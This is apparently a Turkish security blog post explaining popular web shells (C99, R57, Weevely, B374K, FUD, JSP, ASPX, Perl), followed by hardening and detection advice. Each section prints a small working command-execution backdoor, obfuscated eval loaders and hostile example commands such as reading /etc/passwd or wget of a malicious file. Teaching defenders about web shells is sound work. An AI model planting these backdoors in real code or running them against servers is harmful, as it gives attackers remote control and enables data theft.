Post

Web Shell Nedir? C99, R57 ve Diğer Popüler Shell Türleri (Detaylı Rehber)

Web shell nedir, nasıl çalışır? C99, R57, B374K, Weevely, FUD, JSP, ASP/ASPX ve Perl gibi en popüler shell türlerinin özellikleri, örnek kodları, tespit ve korunma yöntemleri bu yazıda.

Web Shell Nedir? C99, R57 ve Diğer Popüler Shell Türleri (Detaylı Rehber)

📝 Önsöz & Yasal Uyarı

Yasal Uyarı: Bu yazı, yalnızca eğitim amaçlıdır. Burada öğrenilen bilgilerin kötüye kullanılması yasalara aykırıdır. Lütfen bu bilgileri yalnızca güvenlik eğitimi ve savunma amaçlı kullanın. Kötü niyetli kullanımlar yasal sonuçlar doğurabilir.

🐚 Shell Nedir?

Shell, bir web sitesine yüklenen ve saldırgana sunucu üzerinde tam kontrol veren zararlı bir yazılımdır. Genellikle PHP ile yazılır ve arka kapı (backdoor) görevi görür. Eğer sunucuda güvenlik açığı varsa, saldırgan shell yükleyerek dosya okuma, yazma, silme, yeni dosya ekleme, veritabanına erişme gibi işlemleri kolayca yapabilir. Kısacası, shell ile bir sunucuya sızan kişi, sistemde istediği gibi değişiklik yapabilir.

🚩 Yaygın Shell Türleri ve Özellikleri

Piyasada çok sayıda farklı shell türü vardır. En bilinenleri ve öne çıkan özellikleri şunlardır:

🟢 C99 Shell: Basit ve Kullanışlı

C99 shell, PHP ile yazılmış, genellikle daha az deneyimli saldırganlar veya hızlıca sisteme sızmak isteyenler tarafından tercih edilen bir arka kapı scriptidir. Kullanıcı dostu arayüzü sayesinde, komut satırı bilgisi az olan kişiler bile sunucu üzerinde çeşitli operasyonları kolayca gerçekleştirebilir.

C99 Shell ile Yapılabilecek Temel Operasyonlar:

  • Kapsamlı Dosya Yönetimi:
    • Dosya Okuma/Düzenleme: Sunucudaki herhangi bir metin tabanlı dosyayı (örneğin .php, .txt, .conf) doğrudan arayüz üzerinden okuyabilir ve düzenleyebilirsiniz. Örneğin, bir web sitesinin index.php dosyasını değiştirerek kendi zararlı kodunuzu ekleyebilirsiniz.
    • Dosya Yükleme/Silme: Yeni zararlı dosyalar (örneğin başka bir shell veya spam scriptleri) sunucuya yüklenebilir veya gereksiz görülen dosyalar silinebilir. $ del sensitive_data.zip gibi komutlarla hassas verileri temizlemek dahi mümkündür.
    • Dizin Gezinme: Sunucudaki tüm dizin yapısını görüntüleyebilir, $ cd /var/www/html/wp-content/uploads gibi komutlarla belirli bir dizine geçiş yapabilirsiniz.
  • Hedefe Yönelik Arama: Belirli dosya uzantılarına (*.php, *.sql) veya dosya isimlerine göre sunucu genelinde arama yapılabilir. Bu, hassas yapılandırma dosyalarını veya veritabanı yedeklerini bulmak için kritik bir özelliktir.
  • Veritabanı Etkileşimi: Shell’in dahili SQL bölümü sayesinde, saldırganlar ele geçirdikleri veritabanı kimlik bilgileriyle doğrudan sunucu üzerindeki veritabanlarına bağlanabilirler. Bu, SELECT * FROM users WHERE admin=1; gibi sorgularla yönetici bilgilerini çekmelerine veya DROP TABLE orders; gibi komutlarla verileri silmelerine olanak tanır.
  • Temel Sunucu Bilgileri: Sunucunun IP adresi, işletim sistemi, PHP sürümü gibi temel yapılandırma bilgilerini görüntüleyebilir. Bu bilgiler, daha ileri saldırılar için zemin hazırlar.

Örnek:

Bir saldırgan, bir web sitesinde keşfettiği bir dosya yükleme zafiyetini kullanarak C99 shell’i sunucuya yükler. Shell’e eriştikten sonra, arayüzdeki dosya gezginini kullanarak web sitesinin ana dizinine gider. Burada bulunan wp-config.php (WordPress için) veya benzeri bir yapılandırma dosyasını okuyarak veritabanı kullanıcı adı ve şifresini ele geçirir. Ardından, shell’in SQL bölümüne geçerek bu bilgilerle veritabanına bağlanır ve kullanıcı tablosundaki tüm şifreleri indirir.

Kod Örneği:

1
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; } ?>

Bu kod, web tarayıcısında adres çubuğuna veya bir form aracılığıyla “cmd” adında bir komut yazıldığında, bu komutu sunucuda çalıştırır ve sonucunu ekranda gösterir. Buradaki system() fonksiyonu, sunucuda gerçek bir terminal komutu çalıştırır (örneğin: ls, dir, cat dosya.txt).

Bu kod, web tarayıcısı üzerinden gönderilen “cmd” parametresini sunucuda komut olarak çalıştırır ve çıktısını ekrana basar.

🔴 R57 Shell: Uzmanlar İçin Gelişmiş Bir Saldırı Platformu

R57 shell, C99’a kıyasla çok daha gelişmiş ve kapsamlı özellikler sunan, genellikle deneyimli ve profesyonel siber saldırganlar tarafından tercih edilen bir arka kapı scriptidir. Daha karmaşık bir arayüze sahip olsa da, sunduğu derinlemesine kontrol yetenekleri onu oldukça tehlikeli kılar.

R57 Shell ile Yapılabilecek Gelişmiş Operasyonlar:

  • Derin Sunucu Kontrolü:
    • PHP Yapılandırma Erişimi: php.ini gibi kritik PHP yapılandırma dosyalarına erişim sağlayabilir, güvenlik ayarlarını (örneğin disable_functions kısıtlamalarını) değiştirebilir veya zararlı fonksiyonları etkinleştirebilir.
    • Komut Çalıştırma: Sunucu üzerinde doğrudan işletim sistemi komutları (ls -la, cat /etc/passwd, wget malicious_file.exe) çalıştırabilir. Bu, saldırganlara tam sistem kabuğu erişimi sağlar.
    • Process Yönetimi: Çalışan süreçleri görüntüleyebilir ve istenmeyen süreçleri sonlandırabilir.
  • Hassas Bilgi Toplama:
    • Şifre Dökümü: FTP, e-posta hesapları ve veritabanı şifreleri gibi sunucu üzerinde depolanan hassas kimlik bilgilerini otomatik olarak toplamaya çalışır. Bu, diğer sistemlere sızmak için kullanılabilir.
    • SSH/Telnet Bağlantıları: Sunucu üzerinden başka sunuculara SSH veya Telnet bağlantıları kurabilir, bu da R57’yi bir pivot noktası haline getirir.
  • Mail Yönetimi: Sunucu üzerinden doğrudan e-posta gönderme ve alma işlemleri yapabilir. Bu özellik, spam göndermek veya phishing saldırıları düzenlemek için kötüye kullanılabilir.
  • Gelişmiş Dosya ve Dizin İşlemleri:
    • Dizin Oluşturma/Yeniden Adlandırma: $ mkdir new_hidden_dir, $ mv old_name new_name gibi komutlarla dizin yapısını manipüle edebilir.
    • Sembolik Link Oluşturma (Symlink): Sunucu üzerindeki başka kullanıcılara ait dizinlere sembolik linkler oluşturarak onların dosyalarına erişim sağlayabilir. Bu, paylaşımlı barındırma ortamlarında kritik bir risktir.
  • Detaylı Sistem Bilgileri (phpinfo): PHP’nin phpinfo() çıktısını görüntüleyerek sunucu hakkında çok detaylı teknik bilgilere (modüller, derleme ayarları, environment değişkenleri) erişim sağlar. Bu bilgiler, bilinen güvenlik açıklarını keşfetmek için kullanılabilir.

Örnek:

Bir saldırgan, R57 shell’i bir e-ticaret sitesine yükledikten sonra, shell’in komut çalıştırma özelliğini kullanarak sunucudaki /etc/passwd dosyasını okur ve sistemdeki kullanıcıların listesini ve şifre karma değerlerini ele geçirir. Daha sonra, sunucunun mail gönderme özelliğini kullanarak, ele geçirdiği müşteri e-postalarına sahte sipariş onayları göndererek kullanıcıları zararlı bir siteye yönlendirir. Shell’in FTP bilgilerini toplama özelliğini kullanarak, aynı sunucuda barındırılan başka bir web sitesinin FTP bilgilerine ulaşır ve o siteye de benzer saldırılar düzenler.

Kod Örneği:

1
<?php /* R57 shell'in sadeleştirilmiş bir parçası */ if(isset($_GET['c'])){ echo '<pre>'; passthru($_GET['c']); echo '</pre>'; } ?>

Bu kod, adres çubuğunda “?c=komut” şeklinde yazılan bir komutu sunucuda çalıştırır ve sonucunu ekranda gösterir. passthru() fonksiyonu, verilen komutu çalıştırıp çıktısını doğrudan ekrana aktarır. Yani, saldırgan sunucuda istediği işlemi uzaktan yapabilir.

Bu kod, URL’den gelen “c” parametresini işletim sistemi komutu olarak çalıştırır ve çıktısını ekrana yazdırır.

🟣 Weevely: Modüler ve Gizli PHP Shell

Weevely, PHP tabanlı, komut satırı üzerinden yönetilebilen ve modüler yapısıyla dikkat çeken bir web shell’dir. Sızma testlerinde ve Red Team çalışmalarında sıkça kullanılır.

Weevely’nin Temel ve Gelişmiş Özellikleri:

  • Komut satırı üzerinden bağlantı ve yönetim (CLI tabanlı kontrol)
  • Dosya ve dizin yönetimi (okuma, yazma, silme, yükleme)
  • Ters bağlantı (reverse shell) açabilme
  • Parola kırma, ağ keşfi, sistem bilgisi toplama gibi onlarca modül
  • Şifreli ve sıkıştırılmış payload ile tespit edilmesi zor
  • Modül desteğiyle ağ keşfi, parola kırma, ters bağlantı, dosya transferi gibi gelişmiş işlemler

Örnek Senaryo: Bir sızma testi uzmanı, hedef sunucuya Weevely shell yükler. Kendi bilgisayarından komut satırı ile bağlanır, dosya sistemi üzerinde gezinebilir, yeni dosya yükleyebilir veya sistemde ters bağlantı açarak tam kontrol sağlayabilir.

Güvenlik Notu: Weevely’nin modülerliği ve şifreli iletişimi, onu klasik antivirüs ve WAF’lar için tespit edilmesi zor bir araç haline getirir.

Kod Örneği:

1
2
<?php @eval(gzinflate(base64_decode('SOME_PAYLOAD'))); ?>
// Weevely payload'ları genellikle şifreli ve sıkıştırılmıştır.

Bu kod, zararlı kodu gizlemek için önce şifreli ve sıkıştırılmış bir metni çözer, sonra çalıştırır. base64_decode() metni çözer, gzinflate() sıkıştırmayı açar, eval() ise ortaya çıkan kodu çalıştırır. Yani, saldırganın asıl kodu gizli kalır ve sunucuda çalıştırılır.

Bu kod, şifreli ve sıkıştırılmış bir payload’u çözüp çalıştırır. Weevely gibi shell’ler bu şekilde gizlenir.

🟠 B374K Shell: Hepsi Bir Arada Web Shell

B374K, modern ve kullanıcı dostu arayüze sahip, çok sayıda özelliği (dosya yöneticisi, komut çalıştırma, veritabanı yönetimi) bir arada sunan popüler bir PHP shell’dir.

B374K’nın Temel ve Gelişmiş Özellikleri:

  • AJAX tabanlı hızlı ve dinamik arayüz
  • Dosya/dizin yönetimi, toplu işlem, dosya arama
  • Komut çalıştırma (shell komutları)
  • Veritabanı yönetimi (MySQL, SQLite vb.)
  • Ağ araçları (port tarama, bağlantı testleri)
  • Şifre kırıcılar, hash araçları, e-posta gönderme
  • Çoklu dil ve tema desteği
  • Toplu dosya yükleme, script yükleme, dosya şifreleme

Örnek Senaryo: Bir saldırgan, B374K shell’i yükleyerek sunucuda dosya yönetimi, veritabanı sorguları ve ağ keşfi işlemlerini tek panelden kolayca yapabilir. Ayrıca, toplu dosya işlemleri ve script yüklemeleriyle sunucuyu hızlıca ele geçirebilir.

Güvenlik Notu: B374K’nın çok yönlülüğü ve dinamik arayüzü, saldırganlara hızlı hareket imkanı verir. Ancak, klasik imza tabanlı antivirüsler tarafından tespit edilebilir.

Kod Örneği:

1
<?php /* B374K shell'in tipik giriş noktası */ if(isset($_POST['b374k'])){ eval($_POST['b374k']); } ?>

Bu kod, bir form veya başka bir yol ile gönderilen “b374k” adlı veriyi alır ve içindeki kodu sunucuda çalıştırır. eval() fonksiyonu, kendisine verilen metni PHP kodu gibi çalıştırır. Yani saldırgan, uzaktan istediği kodu sunucuya yazıp çalıştırabilir.

Bu kod, POST ile gönderilen “b374k” parametresini PHP kodu olarak çalıştırır. Saldırgan, uzaktan komut gönderebilir.

🕵️‍♂️ FUD Shells (Fully Undetectable Shells): Tespit Edilemeyen Zararlı Scriptler

FUD (Fully Undetectable) shell’ler, antivirüs ve güvenlik yazılımlarından kaçmak için özel olarak hazırlanır. Kodları sürekli şifrelenir, obfuscate edilir ve farklı tekniklerle gizlenir.

FUD Shell Özellikleri:

  • Base64, gzinflate, eval gibi fonksiyonlarla kod gizleme
  • Sık sık güncellenen ve değiştirilen script yapısı
  • Klasik imza tabanlı taramalardan kaçabilme
  • Dosya ve dizin yönetimi, komut çalıştırma, veritabanı erişimi
  • Kodun şifrelenmesi, çok katmanlı obfuscation, rastgele fonksiyon isimleri

Örnek Senaryo: Bir saldırgan, FUD shell’i yükleyerek antivirüs ve WAF’ların tespit edemeyeceği şekilde sunucuda uzun süre gizli kalabilir. Kodun sürekli değişmesi, güvenlik yazılımlarının imza oluşturmasını zorlaştırır.

Güvenlik Notu: FUD shell’ler, tespit edilmesi en zor zararlı scriptlerdendir. Sunucu güvenliği için davranış tabanlı analiz ve dosya bütünlüğü kontrolleri önerilir.

Kod Örneği:

1
<?php /* FUD shell örneği - çok katmanlı şifreleme */ eval(gzinflate(base64_decode('SOME_ENCRYPTED_PAYLOAD'))); ?>

Bu kod, zararlı kodu önce şifreli ve sıkıştırılmış metinden çözer, sonra çalıştırır. base64_decode() metni çözer, gzinflate() sıkıştırmayı açar, eval() ise ortaya çıkan kodu çalıştırır. Bu yöntem, zararlı kodun antivirüsler tarafından kolayca tespit edilmesini engeller.

Bu kod, çok katmanlı şifrelenmiş zararlı kodu çözüp çalıştırır. FUD shell’ler tespit edilmemek için bu tekniği kullanır.

☕ JSP Shells (Java Server Pages Shells): Java Sunucular İçin Web Shell

JSP shell’ler, Java tabanlı sunucularda çalışan, dosya yönetimi ve komut çalıştırma gibi işlemleri mümkün kılan zararlı scriptlerdir.

JSP Shell Özellikleri:

  • Dosya okuma, yazma, silme, yükleme
  • Sunucu üzerinde komut çalıştırma (Linux/Windows komutları)
  • Sunucu bilgisi toplama, ağ bağlantısı kurma
  • Platform bağımsız çalışabilme (Java’nın avantajı)
  • Web arayüzü veya doğrudan HTTP istekleriyle kontrol
  • Java’nın sunduğu tüm kütüphanelerden faydalanabilme

Örnek Senaryo: Bir saldırgan, Tomcat sunucusuna JSP shell yükler ve sunucuda komut çalıştırarak sistemdeki dosyaları yönetir, yeni kullanıcılar ekler veya ağda keşif yapar. Ayrıca, Java’nın platform bağımsızlığı sayesinde shell’i farklı işletim sistemlerinde de kullanabilir.

Güvenlik Notu: JSP shell’ler, Java’nın platform bağımsızlığı sayesinde farklı sistemlerde çalışabilir. Java uygulama sunucularında dosya yükleme zafiyetlerine karşı dikkatli olunmalıdır.

Kod Örneği:

1
2
3
4
5
6
7
8
9
10
11
12
<%@ page import="java.io.*" %>
<%
if(request.getParameter("cmd") != null) {
    String cmd = request.getParameter("cmd");
    Process p = Runtime.getRuntime().exec(cmd);
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    int c;
    while((c = in.read()) != -1) out.print((char)c);
    in.close();
}
%>

Bu kod, web adresine “?cmd=komut” yazıldığında, bu komutu sunucuda çalıştırır ve sonucunu ekranda gösterir. Runtime.getRuntime().exec() fonksiyonu, Java ile sunucuda komut çalıştırmaya yarar. Yani saldırgan, sunucuya uzaktan komut gönderebilir.

Bu JSP kodu, “cmd” parametresiyle gelen komutu sunucuda çalıştırır ve çıktısını web sayfasında gösterir.

🪟 ASP/ASPX Shells (.NET Web Shells): Windows Sunucular İçin Shell

ASP ve ASPX shell’ler, Microsoft .NET tabanlı sunucular için geliştirilmiş, dosya ve sistem yönetimi sağlayan arka kapı scriptleridir.

ASP/ASPX Shell Özellikleri:

  • Dosya ve dizin yönetimi (okuma, yazma, silme, yükleme)
  • Komut çalıştırma (Windows komutları, PowerShell)
  • Veritabanı işlemleri (MSSQL, Access vb.)
  • Sunucu bilgisi toplama, ağ bağlantısı kurma
  • IIS ve Windows ortamına özel fonksiyonlar
  • Web arayüzü veya doğrudan HTTP istekleriyle kontrol
  • .NET kütüphanelerinden faydalanabilme

Örnek Senaryo: Bir saldırgan, ASPX shell ile Windows sunucuda komut çalıştırabilir, dosya yükleyebilir, veritabanı sorguları yapabilir ve sistemdeki diğer kullanıcılara ait dosyalara erişebilir. Ayrıca, PowerShell komutlarıyla sistemde derinlemesine değişiklikler yapabilir.

Güvenlik Notu: ASP/ASPX shell’ler, özellikle IIS üzerinde çalışan uygulamalarda dosya yükleme zafiyetleriyle yayılır. Windows sunucularda dosya izinleri ve yükleme kontrolleri kritik önemdedir.

Kod Örneği:

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ Page Language="C#" %>
<%
if (Request["cmd"] != null) {
    System.Diagnostics.Process proc = new System.Diagnostics.Process();
    proc.StartInfo.FileName = "cmd.exe";
    proc.StartInfo.Arguments = "/c " + Request["cmd"];
    proc.StartInfo.UseShellExecute = false;
    proc.StartInfo.RedirectStandardOutput = true;
    proc.Start();
    Response.Write("<pre>" + proc.StandardOutput.ReadToEnd() + "</pre>");
    proc.Close();
}
%>

Bu kod, adres çubuğuna veya bir form ile “cmd” parametresi gönderildiğinde, Windows sunucuda bu komutu çalıştırır ve sonucunu ekranda gösterir. Process ve cmd.exe ile Windows’ta komut satırı işlemleri yapılır.

Bu ASPX kodu, “cmd” parametresiyle gelen komutu Windows sunucuda çalıştırır ve çıktısını ekrana basar.

🐪 Perl Shells: Esnek ve Güçlü Script Shell

Perl ile yazılmış shell’ler, genellikle Linux/Unix sistemlerde kullanılır ve komut çalıştırma, dosya yönetimi gibi temel işlevler sunar.

Perl Shell Özellikleri:

  • Dosya ve dizin yönetimi (okuma, yazma, silme, yükleme)
  • Sistem komutları çalıştırma (Linux/Unix komutları)
  • Ağ bağlantıları kurma, port tarama
  • Scriptin kolayca özelleştirilebilmesi
  • Web arayüzü veya doğrudan komut satırı ile kontrol
  • Perl modülleriyle gelişmiş işlemler (şifre kırma, ağ keşfi, dosya transferi)

Örnek Senaryo: Bir saldırgan, Perl shell ile Linux sunucuda dosya yönetimi, sistem komutları çalıştırma ve ağda keşif işlemleri yapabilir. Perl’in esnekliği sayesinde shell scriptini kendi ihtiyaçlarına göre kolayca değiştirebilir. Ayrıca, Perl modülleriyle ek özellikler ekleyebilir.

Güvenlik Notu: Perl shell’ler, özellikle eski ve güncellenmeyen Linux sunucularda etkilidir. Dosya yükleme ve çalıştırma izinleri dikkatle sınırlandırılmalıdır.

Kod Örneği:

1
2
3
4
5
6
7
#!/usr/bin/perl
print "Content-type: text/html\n\n";
if($ENV{'QUERY_STRING'} =~ /cmd=(.*)/){
  print "<pre>";
  system($1);
  print "</pre>";
}

Bu Perl kodu, web adresinde “?cmd=komut” olarak gönderilen komutu sunucuda çalıştırır ve sonucunu ekranda gösterir. system() fonksiyonu, verilen komutu işletim sisteminde çalıştırır. Yani saldırgan, sunucuya uzaktan komut gönderebilir.

Bu Perl CGI script’i, URL’den gelen “cmd” parametresini komut olarak çalıştırır ve çıktısını web sayfasında gösterir.

🛡️ Pratik .htaccess ile Shell Yüklemeye Karşı Koruma

Özellikle dosya yükleme dizinlerinde PHP çalışmasını engellemek için aşağıdaki .htaccess içeriğini kullanabilirsiniz:

1
2
3
4
5
<FilesMatch "\.(php|php3|php4|php5|phtml)$">
    Deny from all
</FilesMatch>
php_flag engine off
RemoveHandler .php .phtml .php3 .php4 .php5 .php6 .php7

Bu sayede yüklenen shell dosyaları çalıştırılamaz hale gelir.

🧰 Shell Saldırılarına Karşı Korunma Yöntemleri

Shell saldırıları, bir sunucunun güvenliğini tamamen tehlikeye atabilecek kadar yıkıcı olabilir. Bu tür tehditlere karşı korunmak için kapsamlı ve proaktif bir güvenlik yaklaşımı benimsemek esastır:

  • Güvenlik Açıklarını Kapatın:
    • Yazılım Güncellemeleri: Kullandığınız tüm yazılımları (işletim sistemi, web sunucusu, CMS, eklentiler, kütüphaneler) düzenli olarak güncelleyin. Güncel olmayan yazılımlar, shell yüklemek için kullanılabilecek bilinen güvenlik açıklarını içerebilir.
    • Girdi Doğrulama: Web uygulamalarınızdaki kullanıcı girdilerini (dosya yüklemeleri, formlar vb.) titizlikle doğrulayın ve filtreleyin. Zararlı karakterlerin veya uzantıların yüklenmesini engelleyin.
  • Doğru Dosya ve Dizin İzinleri:
    • Minimum Yetki Prensibi: Dosya ve dizin izinlerini mümkün olan en kısıtlı seviyede ayarlayın. Web sunucusunun sadece ihtiyaç duyduğu dizinlere yazma izni verin. Örneğin, yükleme dizinleri dışındaki tüm PHP dosyalarının yazma izni olmamalıdır.
    • Executable İzinleri: Yükleme dizinlerinde (örneğin /uploads veya /images) PHP veya diğer çalıştırılabilir komut dosyalarının çalışmasını engelleyin. Bu dizinlerde .htaccess dosyası oluşturarak php_flag engine off veya RemoveHandler .php .phtml .php3 .php4 .php5 .php6 .php7 gibi direktifler kullanabilirsiniz.
  • Web Uygulama Güvenlik Duvarı (WAF):
    • Bir WAF, web uygulamanıza gelen ve giden trafiği analiz ederek bilinen shell imzalarını, zararlı istekleri ve anormal davranışları tespit edip engelleyebilir. ModSecurity gibi açık kaynaklı WAF çözümleri veya ticari WAF hizmetleri kullanılabilir.
  • Düzenli Güvenlik Taramaları ve İzleme:
    • Malware Tarayıcıları: Sunucunuzda düzenli olarak kötü amaçlı yazılım taramaları yapın. ClamAV, LMD (Linux Malware Detect) gibi araçlar, shell script’lerini ve diğer zararlı yazılımları tespit etmede yardımcı olabilir.
    • Log Analizi: Web sunucusu, PHP ve sistem günlüklerini düzenli olarak izleyin. Anormal istekler, başarısız oturum açma girişimleri veya dosya yükleme hataları, bir saldırı girişiminin işaretleri olabilir.
  • Sunucu Hardening:
    • Gereksiz Servisleri Kapatın: Sunucuda çalışmayan gereksiz servisleri (örneğin FTP sunucusu yerine SFTP kullanın) kapatın.
    • Strong Password Policy: Tüm sunucu ve uygulama hesapları için güçlü ve benzersiz parolalar kullanın.
    • SSH Güvenliği: SSH erişimini sadece belirli IP adresleriyle sınırlayın, parola yerine anahtar tabanlı kimlik doğrulaması kullanın ve varsayılan SSH portunu değiştirin.

Unutulmamalıdır ki, siber güvenlik sürekli bir süreçtir. Web sunucularınızı ve uygulamalarınızı düzenli olarak denetleyerek, en son güvenlik trendlerini takip ederek ve proaktif önlemler alarak shell saldırılarına karşı direncinizi artırabilirsiniz.

🔎 Shell Tespit Yöntemleri

Shell dosyalarını tespit etmek için hem otomatik hem de manuel yöntemler kullanılabilir:

  • Otomatik Araçlar:
    • Linux Malware Detect (LMD): Sunucuda yaygın shell imzalarını ve zararlı dosyaları tarar.
    • ClamAV: Açık kaynaklı antivirüs ve zararlı yazılım tarayıcısıdır.
    • rkhunter, chkrootkit: Rootkit ve shell tespiti için kullanılabilir.
  • CrowdStrike Falcon, SentinelOne, Sophos Intercept X, OpenEDR: Yeni nesil EDR/AV çözümleri, davranış tabanlı tespit ve otomatik müdahale sağlar.

❓ Sıkça Sorulan Sorular (SSS)

Shell dosyası yüklenirse ne yapmalıyım?

Öncelikle shell dosyasını ve benzer şüpheli dosyaları silin. Sunucuya erişen IP’leri ve logları inceleyin, şifreleri değiştirin ve sistemde başka arka kapı olup olmadığını araştırın.

Shell tespit etmek için en etkili yöntem nedir?

Otomatik tarama araçları ve log analizi bir arada kullanılmalıdır. Ayrıca, dosya bütünlüğü izleme sistemleri (örneğin Tripwire) ek güvenlik sağlar.

Shell yüklenmesini tamamen engellemek mümkün mü?

%100 garanti yoktur, ancak dosya yükleme kontrolleri, izinler ve WAF ile risk minimuma indirilebilir.

Elle kontrol etmeniz gereken önemli noktalar:

  • Şüpheli Dosya Adları: c99.php, r57.php, shell.php gibi yaygın isimler.
  • Dosya Boyutları ve Tarihleri: Son değişiklik tarihi yakın olan veya boyutu beklenenden farklı dosyalar.
  • Kod Analizi: Base64, gzinflate, eval gibi fonksiyonlar içeren, karmaşık ve şifreli kod blokları.
  • Dizinlerde Beklenmeyen Dosyalar: Özellikle yükleme dizinlerinde veya az kullanılan klasörlerde yeni dosyalar.

📚 Kaynaklar ve Daha Fazla Okuma

📝 Notlar

  • 🛠️ Web shell’ler yalnızca saldırı aracı değildir; sızma testlerinde ve güvenlik denetimlerinde sistemin zafiyetlerini anlamak için de kullanılır.
  • 🚨 Sunucunuzda beklenmedik yavaşlama, disk doluluğu, bilinmeyen dosyalar veya şüpheli ağ trafiği fark ederseniz shell bulaşmış olabilir.
  • 🗂️ Shell tespiti için dosya bütünlüğü izleme (örn. AIDE, Tripwire) ve merkezi log yönetimi (örn. ELK Stack, Graylog) kullanmak faydalıdır.
  • 💾 Yedeklerinizi düzenli olarak alın ve yedeklerinizi de zararlı dosyalara karşı tarayın.
  • 🛑 Shell yüklenmesini engellemek için sadece dosya uzantısına değil, dosya içeriğine ve MIME tipine de kontrol uygulayın.
  • 🌐 Güvenlik topluluklarını ve güncel zafiyet veritabanlarını (örn. CVE, NVD) takip ederek yeni shell tekniklerinden haberdar olun.
  • 📢 Bu yazıdaki kod örnekleri ve bilgiler yalnızca eğitim ve savunma amaçlıdır. Lütfen etik kurallara ve yasalara uyunuz.
  • 👋 Yeni yazıda ya da projede görüşmek dileğiyle, esenlikler!
This post is licensed under CC BY 4.0 by the author.